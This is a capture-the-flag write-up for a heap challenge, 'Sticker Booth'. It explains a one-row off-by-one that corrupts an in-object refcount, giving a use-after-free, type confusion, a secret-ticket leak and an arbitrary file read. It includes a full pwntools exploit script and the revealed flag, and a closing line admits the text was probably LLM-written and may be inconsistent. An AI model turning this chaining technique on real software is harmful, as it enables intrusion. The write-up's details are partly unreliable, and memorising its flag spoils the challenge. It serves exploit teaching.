PwnFortID 2026
Sticker Booth
A photo filter loops one row too far and zeroes the start of the next heap block. That drops a shared caption's refcount to 0, frees it early, re-aliases the slot as attacker bytes, and leaks the token that gates a file read.
What this one teaches
- A loop bound written as
>=instead of a strict>runs one extra iteration; against a buffer sized exactly to the intended count, that iteration lands in the next allocation. - Storing a reference count inside the same object an attacker can corrupt turns any overflow into a use-after-free, because the free path trusts that count to decide when nothing else points at the block.
- When a heap bug produces no crash under fuzzing, an invariant checker (code that re-validates the data structure's own rules after every operation) can still catch it where a segfault never comes.
- A single stray write that only breaks an internal invariant can be chained into type confusion: corrupt a count, free something still referenced, reallocate it as something else, then read and write through the stale reference under its old type.
Hints
Stuck? Open one hint, then go back and try again before reading the next.
Hint 1 of 2Show
The binary never crashed under black-box fuzzing. Try checking whether an internal invariant is violated after a recipe runs, rather than waiting for a crash.
Hint 2 of 2Show
Two items that store the same text are not independent. Look at what they share and what happens when only one of them is removed.
Full solution below. Spoilers ahead.
Task description
A place where you can safely customize your stickers and print them out!
The recipe runner and what the handout gives up
The handout is a statically linked, unstripped x86-64 ELF (chall), a recipe_docs.md, a sample.recipe, and three tiny built-in stickers (heart.txt, star.txt, smile.txt). It reads one command per line and builds a “sticker sheet”. The documented commands, from recipe_docs.md, are photo, caption, builtin, mono, remove, upload, and print.
There is no solver and no source in the handout, so the model below was recovered by reading the binary. Because it is unstripped I could pull every structure address and size straight out of the symbol table, and the data-layout facts in this writeup are grounded in that. The finer behaviour of the allocator and the print dispatch was reconstructed by reversing main, new_item, xalloc, unhex and die, so I flag the parts that are inferred rather than read off a symbol as they come up.
Protections, read out of the ELF
Parsing the ELF in Python (no gdb or objdump were available): e_type is ET_EXEC with no PIE, the stack segment is non-executable (NX), there is a PT_GNU_RELRO segment but no BIND_NOW (partial RELRO), and __stack_chk_fail is present (canary). The file carries a full copy of glibc’s symbols, so it is statically linked. No PIE means every global sits at a fixed address, which is what makes the plan below work without any leak of the image base.
There is no system or execve call in the program’s own code, so the intended win is a file read, not code execution. The flag has to come out through the binary’s own output, gated by a secret token.
The structure model, with every address and size confirmed against .symtab:
booth_ticket 0x4acb20 size 0x8 8 secret bytes, read once from /dev/urandom at startup
top 0x4acb28 size 0x8 pool bump pointer
nblocks 0x4acb30 size 0x8 allocated block count
items 0x4acb40 size 0x500 32 records of 0x28 bytes (0x500 / 0x28 = 32)
blocks 0x4ad040 size 0x600 64 allocator-metadata entries of 0x18 bytes (0x600 / 0x18 = 64)
pool 0x4ad640 size 0x4000 backing store for the custom allocator
An item record is 0x28 bytes: name[0x18], kind (u32) at 0x18, and a payload pointer at 0x20. kind is 1 for a photo, 2 for a caption or a built-in sticker, 3 for an uploaded sticker, and 0 for a freed slot. xalloc, the program’s own allocator over pool, hands back the first free block that fits (no splitting, no coalescing) or bumps top for a fresh one, and zeroes every block it returns, so stale data never leaks through a later allocation on its own.
The strings the reversing leaned on are all still in the binary: Sticker Booth and recipe runner in .rodata at 0x4800a5/0x4800b3, the placeholders [missing builtin], [broken sticker], [custom sticker], the source /dev/urandom, and the three asset paths assets/heart.txt, assets/star.txt, assets/smile.txt. (booth_ticket shows up too, but as a symbol name from the unstripped table, not a printed string.)
The file-read gate
print dispatches on each item’s kind. For kind == 2 it reads byte 2 of the payload:
payload[2] == 1: a caption. Itfwritespayload[4]bytes frompayload + 0x10.payload[2] == 2withpayload[3] != 0and the 8 bytes atpayload + 8equal tobooth_ticket: a builtin. It treatspayload + 0x10as a filename, opens it, and writes the file’s contents to stdout.
Only builtin NAME heart|star|smile ever produces a payload with byte2 == 2 and the ticket in place, and it hard-codes the path to the bundled asset. That the builtin’s path length is 16 is corroborated by the asset strings: assets/heart.txt and assets/smile.txt are both exactly 16 bytes, which matches the length field a builtin header carries (0x10). caption payloads always have byte2 == 1. upload NAME HEX gives a fully attacker-controlled payload, but it is tagged kind == 3 and the print loop never looks at the gated fields for that kind. With the ticket eight random bytes and nothing in the protocol echoing it back, there is no oracle to brute-force or leak it through any documented command.
So the win needs a kind == 2 record whose payload reads byte2 == 2, byte3 != 0, and carries the real ticket at +8, and no documented path produces one with an attacker-chosen filename.
Finding the bug with an invariant checker
Static review plus roughly 900k iterations of random command fuzzing found no crash and no obviously reachable overflow or use-after-free on the documented paths. Blocks never overlapped, reuse always zeroed, and a shared caption’s reference count kept matching the number of items pointing at it.
A CTF binary has to be solvable, so a crash-based fuzzer missing the bug just meant the bug did not crash anything. During the competition I wrote a GDB-scripted invariant checker that ran valid random recipes and, after each one finished, re-validated the single invariant the program leans on internally: every live caption or builtin item’s reference count should equal how many items actually reference it. That flagged recipes where a live builtin item ended up pointing at a payload with a garbage header (wrong byte2, wrong ticket). Delta-debugging cut one failing recipe down to eight lines.
The reduced failing recipe
builtin a40 star
photo a46 2 1 9f12c2c9c8bf1f0d
photo a47 4 1 82bdc03103aab1b2f2ea05ab6443cadb
remove a40
remove a47
upload a54 96
builtin a55 smile
mono a46 <-- corrupts a55's payload
A step-by-step heap trace showed the cause: mono a46 zeroed the header of the block right after a46, which happened to belong to the freshly created builtin a55. The off-by-one behind it is confirmed statically below.
The bug: an off-by-one in mono
mono NAME applies a monochrome filter to a photo: it zeroes the red, green and blue bytes of every pixel and leaves alpha alone. The filter lives inline in main, and the row loop at 0x401d7b compares with jae (jump if above-or-equal) where it should use a strict jb:
; outer row loop: r8d = y, [rdi] = width, [rdi+4] = height
.row:
... ; inner pixel loop, bounded by `cmp edx,[rdi]` / `jb` (strict, correct)
add r8d, 1 ; 41 83 c0 01 y++
cmp dword [rdi+4], r8d ; 44 39 47 04 height vs y
jae .row ; 73 bb loop while height >= y <- should be a strict >
Those opcode bytes are the real ones at 0x401d77..0x401d7c in main; the jae (0x73) jumps back to the loop top at 0x401d38. The inner pixel loop a few bytes earlier does use the strict form (cmp edx, [rdi] then jb), which is what makes the outer jae stand out as the mistake rather than a house style.
height >= y runs the loop height + 1 times instead of height. The extra row writes at pixels + stride*height, exactly one row past the end of the buffer, which is exactly where the allocator put the next block, since a photo’s block is sized as width*height*4 + 0x10 with nothing reserved past the pixels. Within each pixel the filter zeroes three bytes and skips the fourth (a word write plus a byte write, leaving alpha), so this is a zeroing primitive of up to width*4 bytes into whatever block sits next in the pool.
From a zeroing overflow to an arbitrary file read
A pure zeroing write cannot plant a path or forge the ticket on its own, but it can break the one invariant the caption refcount depends on, and that cascades into type confusion. The steps below are the reconstructed model of caption, remove, upload and xalloc; the off-by-one that kicks it off is the verified mono bug above.
- Two captions with identical text are de-duplicated into one shared payload
P, with a reference count stored as a word atP’s own offset 0 and two items pointing at it. - Placing a photo right before
Pand runningmonoon it zeroesP’s first bytes, including that refcount word, down to0. removeon one of the two captions reads the now-wrong refcount of0and freesPimmediately, even though the second caption still points at it. That second item is now dangling.- An
uploadof equal or smaller size is handedPback by the allocator’s first-fit reuse. The dangling caption item now aliases fully attacker-controlled bytes, while the code still treats it as a caption.
Two more passes finish it. First, leak the ticket: shape the aliased bytes to look like a caption (byte2 = 1) with an oversized length field. Printing it fwrites far past the reused block into a builtin item planted nearby, and the dump is scanned for the builtin header’s signature to find the 8 bytes right after it, which are booth_ticket. Then forge a builtin: free the aliased block again with the same premature-free trick, then upload bytes shaped as a builtin instead, with byte2 = 2, byte3 = 1, the leaked ticket at +8, and the target path at +0x10. Printing the dangling item now passes the ticket check and reads whatever file was named.
Solve
The exploit is a single pwntools script. recipe_leak sends the sequence above and recovers booth_ticket by scanning for the builtin header’s fixed bytes; recipe_forge repeats the premature-free and uploads a forged builtin with that ticket and a path.
import struct, re
from pwn import *
CAPTEXT = "A" * 48 # shared caption -> block P of size 0x40
SIG = b"\x01\x00\x02\x01\x10\x00\x00\x00" # builtin header: dword0=0x01020001, len=16
def recipe_leak():
r = b"photo pA 2 1 4141414141414141\n" # block0, size 0x18 (2*1*4 = 8 pixel bytes)
r += b"caption c1 " + CAPTEXT.encode() + b"\n" # block1 (P), size 0x40, refcount word = 1
r += b"caption c2 " + CAPTEXT.encode() + b"\n" # dedup -> refcount = 2, c2 -> P
r += b"builtin bk heart\n" # block2, ticket at +8, within leak range
r += b"mono pA\n" # OOB-zero -> P.refcount = 0
r += b"remove c1\n" # refcount 0 -> free P; c2 now dangles -> P
up = bytes([0, 0, 1, 0, 0x00, 0x02, 0x00, 0x00]) # byte2=1, len=0x200 (big over-read)
r += b"upload U " + up.hex().encode() + b"\n"
r += b"print\n"
return r
def fake_builtin(ticket, path):
pb = path.encode()
return bytes([0, 0, 2, 1]) + struct.pack("<I", len(pb)) + struct.pack("<Q", ticket) + pb
def recipe_forge(ticket, path, prev):
r = b"remove " + prev + b"\n" # free P again; the dangling alias comes back
r += b"upload V " + fake_builtin(ticket, path).hex().encode() + b"\n" # reuse P
r += b"print\n"
return r
io = remote(HOST, PORT, ssl=True)
io.recvuntil(b"recipe runner")
io.send(recipe_leak())
data = io.recvrepeat(1.0)
idx = data.find(SIG)
ticket = u64(data[idx + 8 : idx + 16])
io.send(recipe_forge(ticket, "flag.txt", b"U"))
out = io.recvrepeat(0.6)
flag = re.search(rb"FortID\{[^}]*\}", out).group(0)
The caption text is 48 bytes so P lands in a 0x40 block, which the later upload can reuse exactly. fake_builtin lays the bytes out as the gate expects: byte2 = 2, byte3 = 1, a 4-byte path length, the 8-byte ticket, then the path. The heart builtin is planted before the over-read so its header (01 00 02 01 10 00 00 00) appears in the leak as the marker the scanner keys on; that header is a runtime structure in the pool, not a constant in the file, which is why searching the static binary for those bytes finds nothing.
Run against the live service, the leaked ticket and flag came back on the first path tried:
[+] leaked booth_ticket = 0x0def411a167cf188
[*] path 'flag.txt' -> b'FortID{I_h0p3_Y0u_W1ll...'
[+] FLAG via 'flag.txt'
The ticket value and the flag are from that live run and cannot be re-derived from the handout. A fallback list of common paths (flag, /flag, /flag.txt) was in the script in case the flag was not at flag.txt, but it was.
What makes this exploitable
jae in place of a strict compare turned “filter every pixel” into “filter every pixel, plus one row that belongs to the next allocation”. The fix is to bound the loop by the buffer’s own height (y < height, a jb), never by a derived stride-times-count that happens to match today’s layout.
The reference count lives inside the object it protects, which makes it attacker-reachable state. Once an overflow could reach it, the remove path trusted a corrupted 0 to mean nothing else points here, with no cross-check against the live references. Keeping allocator metadata out of band, or re-deriving the count rather than trusting a stored one, would have closed this off. booth_ticket itself held up on its own, eight unpredictable bytes with no echo-back, but a random secret is only as strong as the memory next to it, and one heap over-read beside it was enough once type confusion made that read reachable.
The flagReveal
FortID{I_h0p3_Y0u_W1ll_Pu7_Th15_5t1ck3r_0n_Y0ur_L4p70p_035e50b80c}This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.